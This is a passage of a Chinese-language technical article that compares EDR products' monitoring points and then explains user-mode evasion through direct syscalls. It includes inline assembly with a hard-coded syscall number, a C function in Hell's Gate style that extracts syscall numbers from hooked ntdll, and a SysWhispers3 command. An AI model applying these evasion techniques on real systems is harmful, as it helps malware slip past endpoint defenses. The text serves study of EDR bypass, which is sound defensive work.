0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">Cortex XDR</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">ntdll + kernel32</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">进程/线程/内存/文件/注册表</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">内核回调+cyvrmtck驱动</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">★★★★★</span></p></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(255, 255, 255);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">Trellix (McAfee)</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">ntdll</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">进程/内存/文件</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">mfefirek驱动+AMSI</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">★★★☆☆</span></p></td></tr></tbody></table></p><hr style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: solid;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: 1px;"/><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: block;"><span style="font-size: 22px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;display: block;"><span leaf="">二、应用层对抗技术</span></span></h2><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">应用层对抗技术主要针对 EDR 在用户态部署的监控机制（API Hook、ETW 用户态上报、AMSI 扫描等），通过绕过、移除或欺骗这些监控点来规避检测。</span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: block;"><span style="font-size: 20px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;display: block;"><span leaf="">2.1 直接系统调用（Direct Syscall）</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">原理</span></strong><span leaf="">：不经过被 Hook 的 ntdll.dll 导出函数，直接在代码中内联 syscall 指令进入内核，完全绕过用户态 Hook。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">实现方式一：内联汇编（硬编码 SSN）</span></strong></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">; NtAllocateVirtualMemory (SSN = 0x18 on Win10 21H2)</span><span leaf=""><br/></span><span leaf="">NtAllocateVirtualMemory:</span><span leaf=""><br/></span><span leaf="">    mov r10, rcx          ; x64调用约定: syscall需r10</span><span leaf=""><br/></span><span leaf="">    mov eax, 18h          ; 系统调用号</span><span leaf=""><br/></span><span leaf="">    syscall               ; 进入内核</span><span leaf=""><br/></span><span leaf="">    ret</span></code></pre><blockquote style="margin-top: 20px;margin-bottom: 20px;margin-left: 0px;margin-right: 0px;padding-top: 10px;padding-bottom: 10px;padding-left: 20px;padding-right: 10px;border-top-style: none;border-bottom-style: none;border-left-style: solid;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0.05);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;display: block;overflow-x: auto;overflow-y: auto;"><p style="text-indent: 0em;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;margin-top: 0px;margin-right: 0px;margin-bottom: 0px;margin-left: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">局限</span></strong><span leaf="">：SSN 随 Windows 版本更新而变化，硬编码导致跨版本兼容性问题。</span></p></blockquote><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">实现方式二：Hell&#39;s Gate — 动态 SSN 提取</span></strong></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">从内存中被 Hook 的 ntdll 中提取 syscall 号（Hook 通常保留 </span><code style="color: rgb(30, 107, 184);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">mov eax, SSN</span></code><span leaf=""> 指令）：</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="line-height: 26px;"><span leaf="">BOOL </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">ExtractSyscallNumber</span></span><span style="line-height: 26px;"><span leaf="">(PVOID pFunctionAddress, UINT32* pSyscallNumber)</span></span></span><span leaf="">{</span><span leaf=""><br/></span><span leaf="">    BYTE* pBytes = (BYTE*)pFunctionAddress;</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 被Hook的ntdll入口: mov r10,rcx (4C 8B D1) + mov eax,SSN (B8 XX XX XX XX)</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (pBytes[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">] == </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x4C</span></span><span leaf=""> &amp;&amp; pBytes[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">] == </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x8B</span></span><span leaf=""> &amp;&amp; pBytes[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf="">] == </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xD1</span></span><span leaf=""> &amp;&amp; pBytes[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">3</span></span><span leaf="">] == </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xB8</span></span><span leaf="">) {</span><span leaf=""><br/></span><span leaf="">        *pSyscallNumber = *(UINT32*)(pBytes + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">4</span></span><span leaf="">);</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> TRUE;</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> FALSE;</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">实现方式三：Tartarus&#39; Gate</span></strong><span leaf=""> — 从磁盘映射干净的 ntdll.dll 解析 SSN，解决 Hell&#39;s Gate 在 Hook 覆盖了 </span><code style="color: rgb(30, 107, 184);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">mov eax</span></code><span leaf=""> 指令时失败的问题。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">实现方式四：SysWhispers3</span></strong><span leaf=""> — 自动化 Syscall 代码生成（</span><code style="color: rgb(30, 107, 184);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">python syswhispers3.py -f NtAllocateVirtualMemory -o output</span></code><span leaf="">），自动适配不同 Windows 版本，支持 Direct/Indirect 两种模式。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">对抗效果对比：</span></strong></p><p data-tool="mdnice编辑器" style="margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;overflow-x: auto;"><table style="display: table;text-align: left;"><thead><tr><th style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;text-align: left;"><p><span leaf="">技术方案</span></p></th><th style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;text-align: left;"><p><span leaf="">SSN获取方式</span></p></th><th style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;text-align: left;"><p><span leaf="">绕过Hook</span></p></th><th style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;text-align: left;"><p><span leaf="">跨版本兼容</span></p></th><th style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;text-align: left;"><p><span leaf="">实现复杂度</span></p></th><th style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;text-align: left;"><p><span leaf="">调用栈合法性</span></p></th><th style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;text-align: left;"><p><span leaf="">EDR检测风险</span></p></th></tr></thead><tbody><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(255, 255, 255);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">硬编码SSN</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">静态写死</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">✅</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 